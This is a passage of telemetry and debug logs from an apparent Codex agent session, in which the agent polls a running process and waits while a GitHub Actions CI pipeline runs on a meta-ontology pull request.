codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53136e11a08191ae6e2c2e21f8c615\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNuDb-LtbnXC5vbkv36TsKTMVpXCbEbXOsD9J3z08ZA8td73F3_70npC6yOavLH0MPGARBSgyw_SxzCGdlfYpYNqMA7Zwo6nPJfJk4rGGC2KNvEAHyl72GI3XA8NQiCh435NnBXVJhX1a6zyW9416aFISq6Z7CyOIOPPh46_5IY_pWzwJiOCMkiErFZuDtKIigrU9myxytGvQtW63jppypbPUy_SlflLkqtBiIAcwgvOsoPgGWL9oipRN3JW-sr8PnlsKcYVRtuIBILFkwkGN2QcksTMGQr0mCONHhFCV3fq4evZyGLtaA1XhJ-rftkgmQU_HCyuxQzYVJvKScJN5pqjTdGioly-itP_8THLo5fuKLbGEJITYGW3jMOsjdQwlgg8iQ7qNekREz8wrQbFYL4EQGkHn0lZsP6spELi9Urq1l6vZdH1H3mRjBv9EwCdJODCeiejsLo3B0rAIru4SvXJx2LuR8OZlwTRTpOUytIobkU41RAwQrfJxvhWoQycx4y8kF4wLv2NBCkmNP4wc2SneAkuyu5a7p3fdNrsagWJbDTnaCFZjM8COd3Kolf4EoxwfOC7bopZ-vyGKcmj-W6DA6ur-BYuErsr9qWulsNuMiLqyA1urjkR1e1gHRJ8Hhlo4Dj-8VJf-LlUk-9JkGbYbJmBkBsGOW9Dxptz2qwe33ABNzf2bDFYX7lHGx4jK_tCwsXqp02pC_oUo90kB7WGadWp6uuwZblPr4Dur_7XwSqTKllNeS1b5he1yGuyfUjD8M4CmLg_XzYrL0MJqZpkmFYaRQwRXf53-F25rPql4BIfP9j8nL8Qc5KhpFD55MFECjJRtoAkAv8wIgTwATzTBgY7K2t74Chp3P6cjEE86H1JWAaPhq4W-nPE6s1YEtdDZIcV1JH78cCnBvVpFDoEQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.122Z] [INFO] \n[2026-07-12T04:09:18.571Z] [INFO] 2026-07-12T04:09:18.570875Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53136e11a08191ae6e2c2e21f8c615\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNuDzvl7V1BEbOK4VvvJ7kMU4tpQ9ClVTPGP-CE3hmQage4bnjsDRz2df6dO489tkdJMOUmluwRqJcHXMo3EZoAgQGxc3pCky4OZpXNpwLz7VOo43lsQwSJbdyPZ3GfKrIn_kcM3gfhaC3EdYU6IqoVHGXc2nNV2yqnDMQ6BejBSy5KXF57B82JDzuE5jhXXdXFowsWSibytln42F3TvdNXp5VfuWvGMUppvfj-NAF-z5aoaiNKnop-ZmUsII3oXfzqjmkpw-NH0JuLNWJwAPJYRCKlQ7p9GbEw9TMGO16J14VKuB55ohS6NYLnanaBgLH02hzmE4Iq2Kss6ayqEY5SFDE1cP5t3xcGkNvtsd5Vl9GSwKp8OSiAw-VUEC25oCumuduCrdQ3yFI8exHz_ep6iQUGqJ4x-AbWUC2ODafX-ZEsx2mgzg_il3H-UuZuIvCbkJgg7arYyVJM4t8e89D5YD-DlhPtuk_dJAxk0jM3BZ0kPcH8JoOEaHoeQNG6pd2WQv1tBWEQB0QO5RKEU6_2QgcZ4cyjKDh8JYccrojV-vkzeg0p9snow2Ss6nCrsT4BEs2rJ308syppdIo1qQEQWdWTORwpZFih9RudEYFucfYTPEBTCI41oHo2Pd2OqJLuLZw5gfHCm9Oh-M5uTREIK3f-b9SPpxeOu05QxbhL6bnCXlsrAH_HtiVWr3EfWktuL8vLe7HqqyEt-bE7VVb_w-PQ449ecKJJq0kRLNeAPfkHe9AgIPwe3x1M32aoOPVFyEmraxGUAiFyNaSBMD_C7eqwdU7KpuT-eM5uhbQIhjZoeJzn0maqgpAv809DcvjkXNA1UN4OxUzwS03DhFF2ef-auV0yABe8n-W9kAGXARvOW2FaPTgP1MfkvQKGD4FFyvvKp3qXrTbfcgpTAmJNoSgjOfP-C3i2zIfcAAOdN7D-dHG8dRSzyZzpeYQ8Kklo\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.571Z] [INFO] \n[2026-07-12T04:09:18.579Z] [INFO] 2026-07-12T04:09:18.577251Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53136e8a608191a76bb8049089a677\"), status: Some(\"in_progress\"), call_id: \"call_QbosEkxx1nUTRlTFXFOmTKLY\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.579Z] [INFO] \n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554853Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53136d59ac8191a1b7826e78935cab\"\n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554941Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81160 output_token_count=72 cached_token_count=78592 reasoning_token_count=11 tool_token_count=81232 ttft_ms=834 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:19.554Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554974Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81160 output_token_count=72 cached_token_count=78592 reasoning_token_count=11 tool_token_count=81232 ttft_ms=834 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:19.554Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:19.555Z] [INFO] \n[2026-07-12T04:09:19.562Z] [INFO] 2026-07-12T04:09:19.555102Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:19.562Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:19.562Z] [INFO] \n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622250Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:29.623Z] [INFO]  duration_ms=10064 success=true output=Script running with cell ID 25\n[2026-07-12T04:09:29.623Z] [INFO] Wall time 10.0 seconds\n[2026-07-12T04:09:29.623Z] [INFO] Output:\n[2026-07-12T04:09:29.623Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:29.622Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622379Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY duration_ms=10064 success=true arguments_length=175 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:29.622Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622537Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10064 total_duration_ms=10065\n[2026-07-12T04:09:29.623Z] [INFO] \n[2026-07-12T04:09:29.729Z] [INFO] 2026-07-12T04:09:29.729299Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:29.729Z] [INFO] \n[2026-07-12T04:09:29.738Z] [INFO] 2026-07-12T04:09:29.738277Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:29.738Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.738Z] [INFO] \n[2026-07-12T04:09:29.761Z] [INFO] 2026-07-12T04:09:29.739245Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:29.739Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.761Z] [INFO] 2026-07-12T04:09:29.739305Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:29.761Z] [INFO] \n[2026-07-12T04:09:31.218Z] [INFO] 2026-07-12T04:09:31.218008Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53137b330081918e8df2ebdde49849\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_B3Agmg7W9SNcyvTq6KLlderv\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:31.218Z] [INFO] \n[2026-07-12T04:09:31.763Z] [INFO] 2026-07-12T04:09:31.762373Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"25\",\"yield_time_ms\":30000,\"max_tokens\":10000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:31.763Z] [INFO] \n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772597Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531379cc948191a9c7c700856e6c6a\"\n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772644Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81260 output_token_count=31 cached_token_count=80640 reasoning_token_count=0 tool_token_count=81291 ttft_ms=1480 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:31.772Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772736Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81260 output_token_count=31 cached_token_count=80640 reasoning_token_count=0 tool_token_count=81291 ttft_ms=1480 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:31.772Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:31.774Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] 2026-07-12T04:09:49.628808Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-2bae2260-dfde-4f4a-aed5-22acb46ec03b arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=30001 success=true output=Chunk ID: 2bbc78\n[2026-07-12T04:09:49.637Z] [INFO] Wall time: 30.0007 seconds\n[2026-07-12T04:09:49.637Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:09:49.637Z] [INFO] Original token count: 3895\n[2026-07-12T04:09:49.637Z] [INFO] Output:\n[2026-07-12T04:09:49.637Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:49.637Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] JOBS\n[2026-07-12T04:09:49.637Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.637Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.637Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:49.637Z] [INFO] * Ontology Word Coverage (ID 86613944298)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Build CLI\n[2026-07-12T04:09:49.637Z] [INFO]   * Check word coverage of README.md\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Check formatting\n[2026-07-12T04:09:49.637Z] [INFO]   * Run Clippy\n[2026-07-12T04:09:49.637Z] [INFO]   * Check file size limit\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (ubuntu-latest) (ID 86613944392)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (macos-latest) (ID 86613944467)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:49.628Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.637Z] [INFO] 2026-07-12T04:09:49.632252Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-2bae2260-dfde-4f4a-aed5-22acb46ec03b duration_ms=30001 success=true arguments_length=79 output_length=1739 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:49.632Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.682555Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv arguments={\"cell_id\":\"25\",\"yield_time_ms\":30000,\"max_tokens\":10000} duration_ms=17919 success=true output=Script completed\n[2026-07-12T04:09:49.691Z] [INFO] Wall time 17.9 seconds\n[2026-07-12T04:09:49.691Z] [INFO] Output:\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:49.691Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] JOBS\n[2026-07-12T04:09:49.691Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.691Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.691Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:49.691Z] [INFO] * Ontology Word Coverage (ID 86613944298)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Build CLI\n[2026-07-12T04:09:49.691Z] [INFO]   * Check word coverage of README.md\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Check formatting\n[2026-07-12T04:09:49.691Z] [INFO]   * Run Clippy\n[2026-07-12T04:09:49.691Z] [INFO]   * Check file size limit\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (ubuntu-latest) (ID 86613944392)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] 